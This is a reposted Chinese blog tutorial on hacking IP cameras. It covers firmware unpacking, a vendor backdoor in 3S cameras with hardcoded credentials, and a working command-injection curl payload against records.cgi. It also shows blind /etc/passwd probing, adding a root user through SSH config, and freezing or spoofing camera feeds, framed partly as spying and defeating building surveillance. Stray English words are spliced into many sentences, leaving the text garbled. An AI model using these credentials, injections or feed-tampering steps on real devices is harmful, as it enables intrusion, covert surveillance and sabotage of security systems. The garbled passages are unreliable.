嵌入式設備hacking(轉)

原帖地址:http://drops.wooyun.org/papers/5157

0x00 IPCAM hacking


  • TOOLS
    github-binwalk
    firmware-mod-kit
    IDA
    ......php

  • 主要分析流程
    經過binwalk分析識別固件文件
    分離提取固件
    把提取的elf載入到分析軟件(IDA)
    開始分析研究吧~html

binwalk和fmk學習


binwalklinux

binwalk xxx.bin

最簡單的分析命令,經過簽名匹配來識別固件中的文件,但是單單經過這樣的簡單匹配可能有其餘的文件類型不能識別,因此有時可使用插件--enable-plugin=***
能夠從圖中看出,0x32E8的便宜位置是gzip的壓縮包文件,0x8A6A88的便宜位置是linux內核鏡像的頭部,能夠看到他的一些信息git

binwalk xxx.bin --dd=類型:保存下來的擴展名

這樣,會把gzip的文件保存到本地以.gzip命名github

也能夠用binwalk自動化遞歸提取binwalk xxx.bin -eMweb

以後iou就能夠經過解包等行爲分析咱們提取出來的文件了,不過,在一些簡單的分析狀況下,咱們這樣識別,分析,提取,過濾,解包,有些繁雜,此時就能夠用fmk來幫咱們很快的完成這些工做shell

p.s. 除了經過binwalk的內置函數進行提取,咱們還能夠經過dd命令來提取文件
dd if=xxx.bin bs=1 skip=[***] count=[***] of=outfilename數據庫

  • firmware-mod-kit

經過svn安裝fmk,咱們來認識一下這個套件用到的東西apache

extract-firmware.sh使用來解包固件
build-firmware.sh使用來從新封包
check_for_upgrade.sh用來檢查更新
unsquashfs_all.sh使用來解包提取出來的squashfs文件安全

1

./extract-firmware.sh xxx.bin

能夠很方便的幫咱們提取文件

以後,咱們能夠在當前目錄的fmk下找到提取出來的文件

logs目錄下還給咱們提供了binwalk的log

rootfs下就是固件解包提取的文件了

IPCAM hacking


網絡攝像頭hacking其實和其餘嵌入式設備hacking相似,尤爲和各類路由器的玩法類似,咱們此處簡要以一個運用很是普遍的網絡攝像頭爲例,3s的攝像頭,在分析中,我發現了其廠商自帶的後門以及一個RCE,篇幅所限,第一篇筆記咱們只提到後門(其實就是懶,不想碼字...)

經過上述過程解包提取文件,在/home/3s/bin/ 下,找到了他的webservice-httpd,在/home/3s/www/ 下是他的源碼

將httpd丟入IDA
很快看到有奇怪的東西亂入了...system.anonymousptz....why are u so diao

官方後門get,shodan上搜一搜發如今今年上半年已經有老外發過了,可是貌似這個後門至今3s公司依舊在其餘的攝像頭型號裏使用...給跪

影響全部N10xx到N50xx型號的攝像頭

0x02 function calls to the evil


咱們經過ida分析N5071的webserver後發現了他至今使用的官方後門,已經能夠經過後門未受權經過web訪問IPCAM進行研(偷)究(窺)了,可是做爲一名hacker,這還不夠酷,在分析的過程當中,我還發現了影響其N產品的一個遠程命令執行,雖是第一次作binary分析,可是頗有趣,僅以此文作學習嵌入式設備hacking的記錄 :)

在N5071的代碼中,有不少諸如sprintf strcpy的不安全函數調用,當咱們配合以前提到的後門時,那影響就是一片一片的~

這個系列產品是能夠支持管理本地文件存儲的,在webserver中,有records.cgi控制

records.cgi使用來作刪除操做,會先交由函數do_records檢查是否存在文件

若是文件存在,那麼就會拋給sprintf去作字符串格式化而後執行rm命令刪除,如圖:

那麼,問題就來了,上學老師就告訴過,sprintf要不得,一點過濾都沒有並且這裏仍是用的system function
(web狗表示這裏可以搞定很開心~)

因此,咱們能夠利用官方那個後門訪問records.cgi,構造payload來進行命令注入從而執行系統命令

1

curl -d "user=3sadmin&password=27988303" http://*.*.*.*/records.cgi?action=remove&storage=sd&filename=test`commands`

0x03 exploit


執行poweroff後~

0x04 IPCAM&&videorecorders


一直以來,hacking題材的電影都很是炫酷,黑客們入侵大樓在鍵盤上噼裏啪啦,很少時就如入無人之境,分分鐘黑下大樓的全部系統,其中,對監控攝像頭的hacking描寫也不少,此次咱們就來「意淫」一下,入侵大樓時,hacking監控攝像(文中案例都是我編的,請勿對號入座)

通常大樓內都有許多攝像頭,它們一般區分爲網絡攝像頭和錄像機,錄像機是能夠保存畫面數據的,先來大體瞭解一下他們是如何工做的:

image

image

如上圖,管理界面能夠分屏查看當前在線的全部cam畫面

從簡易到拓撲咱們能夠看到,在整個系統中manage server用做管理下屬cam,一般有web ui,管理還可經過本身的設備接入進行管理操做,管理的日誌和數據存放在數據庫中,說明是有數據查詢交互的,DVR錄像機的畫面數據也會存放在server中,而ipcam則會實時傳輸,也就是說,咱們hacking的入手點,能夠放在DVR,IPCAM,manager的web方向

也就是說,咱們能夠經過:

web ui(manager server) -->HTTP(apache。。。) -->OS(system)-->Hardware(DVR&&IPCAM)OR

Hardware(DVR&&IPCAM) -->OS(system)-->HTTP(apache。。。) -->web ui(manager server)

一個是經過上層到底層,另外一個則直接經過IPCAM或DVR的固件問題直接hacking

0x05 some tricks


上一篇文章中咱們經過執行payload時使用curl發包,用ping來檢測命令是否注入,在embedded devices hacking中,還有一些小trick能夠幫助咱們

不少時候,廠商對原始設備進行了二次開發,因此有些命令你在其餘設備work,在目標設備就不work,因此咱們能夠多采用幾種命令進行測試,如curl,wget,nc

靈活使用linux命令進行字符串操做

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

$ if test `sed -n '/^root/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;

fi

1

// 檢測root,下面是一些更好的方式。

$ if test `sed -n '/^r/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;

fi

1

$ if test `sed -n '/^ro/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;

fi

1

$ if test `sed -n '/^roo/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;

fi

1

$ if test `sed -n '/^root/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;

fi

1

(學習自wooyun zone)

當遇到目標有限制字符時,能夠寫入shell腳本進行執行

若是你很是不幸,遇到了一個閹割命令的busybox多嵌入式設備,權限很高卻沒法執行命令,那麼,你須要參考喔以前的一篇文章網絡設備中限制用戶命令交互的逃逸

ssh給咱們提供了一個能夠按照配置預期執行命令的功能,在$HOME/.ssh/ config中進行配置,咱們能夠達到這樣的效果,咱們在配置文件中預期執行添加一個新的root用戶,UID爲0且無限制執行命令,以此來逃逸網絡設備的限制問題

0x06 你看到的不是真相


在電影裏,咱們除了看到黑客直接把大樓系統黑下,還常常看到篡改攝像頭的畫面,這是怎麼作到的~DVR我沒研究過,因此暫時不發表觀點,在IPCAM,由於數據時以流的形式傳送的,因此,若是咱們把數據傳輸的流掐斷,會怎樣呢~

答案是管理在web ui上看到的,會凍結在掐斷以前的畫面,以後攝像頭捕捉到到全部畫面都不會實時傳輸回去,以此來達到篡改的目的

舉個栗子,在Trendnet的一款攝像頭中,經過fmk分離固件,我看到了一個叫作mjpg.cgi的文件,這個cgi程序起到的做用就是用來傳輸攝像頭到web ui這個過程的,那麼~

我只須要kill掉mjdp進程,整個畫面就凍結在kill以前的畫面了,在這個攻擊中,我甚至都不用ssh鏈接後本地執行,由於咱們能夠配合以前所說道的攻擊流程,直接對cam固件分析,經過相似RCE的方式kill~

有同窗問到了一個問題,關於時間戳的事兒,這得分狀況,若是是DVR的話,錄像畫面都是從存儲設備中調取,因此要篡改,須要更換文件(由於美研究過DVR,這是我意淫的)

對於IPCAM,有部分不帶時間戳,不用考慮這個問題,若是帶的,也不用擔憂,由於他們處理畫面傳輸和時間的進程時兩個不一樣的,你kill了畫面的而已(這涉及到他設備的功能實現問題,若是他兩者都在一塊兒,當我沒說~)

可是~這並非一個最好的hacking方法,由於這有一個弊端,若是管理員從新加載瀏覽管理頁面時,進程又會重啓,他又會獲得實時的畫面傳輸

那麼,大招來了,咱們是否是能夠經過什麼攻擊方式來實時更改畫面傳輸,或者說,咱們是否是能夠經過更好的hacking手段來進行實時欺騙,答案很明顯~固然能夠

咱們能夠經過一個很簡單的shell腳原本替換進程傳輸的畫面爲你須要的一個靜態圖片來達到欺騙的目的,大概實現以下:

1

2

echo -ne 「HTTP/1.1 200 OK\r\nContent-Type: image/jpeg\r\n\r\n」

cat ztzsb.jpg

如何執行這個東西,就不用贅述了,你能夠直接新建一個,也能夠直接加入到cgi腳本中,讓他本身來執行,若是有更棒的方法,求告知學習~在執行咱們的腳本後,管理獲得的畫面將是你的欺騙畫面

多說一句的是,我比較推薦的是備份原始cgi,用新的腳原本執行欺騙,這樣有個好處是能夠針對廣泛狀況的設備,避免二次開發或者不一樣設備對原始cgi的依賴問題,避免錯誤

image

0x07 我是如何劫持你的攝像頭的


以前的幾篇文章已經介紹了ipcam的幾種玩法和案例

ipcam hacking_1

ipcam hacking_2

ipcam hacking_3

ipcam hacking_3中,咱們還簡單的介紹了一種劫持攝像頭畫面傳輸的hacking手法

那麼,咱們今天就來主要看看劫持ipcam的姿式

咱們說過,如何對ipcam進行畫面劫持,得弄明白這款攝像頭實現畫面傳輸的邏輯,咱們大概能夠對劫持準備進行這麼幾步:

  • 肯定用於視頻流傳輸的協議
  • 找處處理視頻流的CGI
  • 分析腳本文件,找到腳本中的功能函數
  • 有些攝像頭固件是沒有動態腳本的,功能處理都寫在server的bin中,因此還要分析server的bin文件
  • 你看到的不是真的,hack it!

很簡單,一步一步來,相對於白盒,直接黑盒測試更方便判斷協議和找處處理腳本,而後在針對的進行白盒分析

固件分離咱們就不說了,能夠參看我以前的幾篇文章,咱們在視頻傳輸的功能頁面進行抓包,獲得這樣的報文:

0x08 肯定協議


1

2

3

4

5

6

7

8

9

10

11

12

13

14

GET /videostream.cgi HTTP/1.1

Host: 10.10.1.3

Connection: keep-alive

Authorization: Basic YWRtaW46

HTTP/1.1 200 OK

Server: Netwave IP Camera

Date: Thu, 01 Jan 1970 22:10:36 GMT

Accept-Ranges: bytes

Connection: close

Content-Type: multipart/x-mixed-replace;boundary=ipcamera

--ipcamera

Content-Type: image/jpeg

Content-Length: 17561

......JFIF..............Lavc54.27.100....Cztzztzztzztzztzztz

連接類型是multipart/x-mixed-replace,經過http協議來模擬畫面的推送

就是說每次的畫面傳輸都是ipcam使用的mjpeg流的傳輸,畫面就是一張圖一張圖連貫起來造成的視頻畫面

0x09 找處處理視頻的CGI


一樣,在web界面中的畫面監控的地方進行抓包,獲得了整個傳輸過程的報文

從live.html --> cam.html --> videostream.cgi

經過使用fmk對固件分離,grep找到了videostream.cgi是寫在handle_cgi_requests這個bin文件中的

image

經過鼠標滾輪大法,我發現除了videostream.cgi這個文件控制畫面傳輸功能以外,還有videostream.asf,這在以前的黑盒測試中是沒法發現的

image

因此咱們一下子分析的時候除了videostream.cgi還有videostream.asf

可能有朋友要問了,你不會順着跟蹤函數來分析功能麼?爲何還傻乎乎的滾鼠標一個一個找? (QAQ由於我是web狗)

0x10 找到實現功能的函數


由於這個固件是將功能寫入到bin文件中的,因此找到其實現的函數也是在bin中找(web狗壓力好大。。。)

經過跟蹤videostream.cgi和videostream.asf,能夠找到這樣一個函數 image

函數功能用於接收攝像頭捕捉到的畫面而且會返回一個相應的包頭和jpg的數據

(接下來就是對這個bin文件的詳細分析,web狗作的分析,確定有不少不對,求各位斧正)

1

2

3

4

5

6

7

8

9

10

11

image_counter = 0;

image_data = malloc(size_of_image);

[r4, #4] = image_data;

sprintf(&image_data, "/home/my_picture_%d",

image_counter);

f = fopen(image_data, "rb");

fread(&image_data, 1, size_of_image, f);

fclose(f);

[R4, #0xC] = size_of_image;

image_counter ++;

image_counter = image_counter % number_of_images;

看得出來,每次畫面的選取都是從/home/my_picture這裏選取的,由於以前說過,整個畫面傳輸的工做都是連續的圖片傳輸,因此,若是咱們能夠對這裏的文件進行批量的寫操做,就可以對畫面進行實時欺騙了呢

yep,可是對ipcam的畫面劫持的前提是,你須要得到到這個攝像頭的會話,而且有必定權限,對文件進行寫操做

因此,整個過程,應該是這樣:

  • 找到目標攝像頭並肯定其版本,型號,對固件進行下載分析
  • 利用以前該版本爆出過的漏洞或者本身對固件分析後獲得的漏洞獲取會話
  • 肯定用於視頻流傳輸的協議
  • 找處處理視頻流的CGI
  • 分析腳本文件,找到腳本中的功能函數
  • 有些攝像頭固件是沒有動態腳本的,功能處理都寫在server的bin中,因此還要分析server的bin文件
  • 你看到的不是真的,hack it!

0x11 something fun


在我對視頻流劫持查找資料學習的時候,我找到了一個小玩意videojak

videojak是一個很簡單的ipcam的安全測試工具,它能夠在你獲取到的ipcam中作一個相似MITM的中間人攻擊,直接劫持整個畫面的傳輸流,或者重放上一個傳輸流

挺好玩呢

還有一個針對2013年blackhat大會上,Craig Heffner大神的好萊塢hacking議題中提到的全部攝像頭漏洞的直接利用工具,ipcamshell

ipcamshell能夠幫助你直接獲取一個交互式的會話,而且拿到這個攝像頭的認證用戶名和密碼

0x12 結語


文章最後,感謝各位不噴我這班門弄斧的crack水平和bin分析,由於每款型號的攝像頭的固件功能實現都不相同,因此文中的例子只是一個例子而已,主要是介紹一下整個分析思路和過程。

我也還在折騰學習攝像頭方面的hacking,但願各位不吝賜教~

相關文章
相關標籤/搜索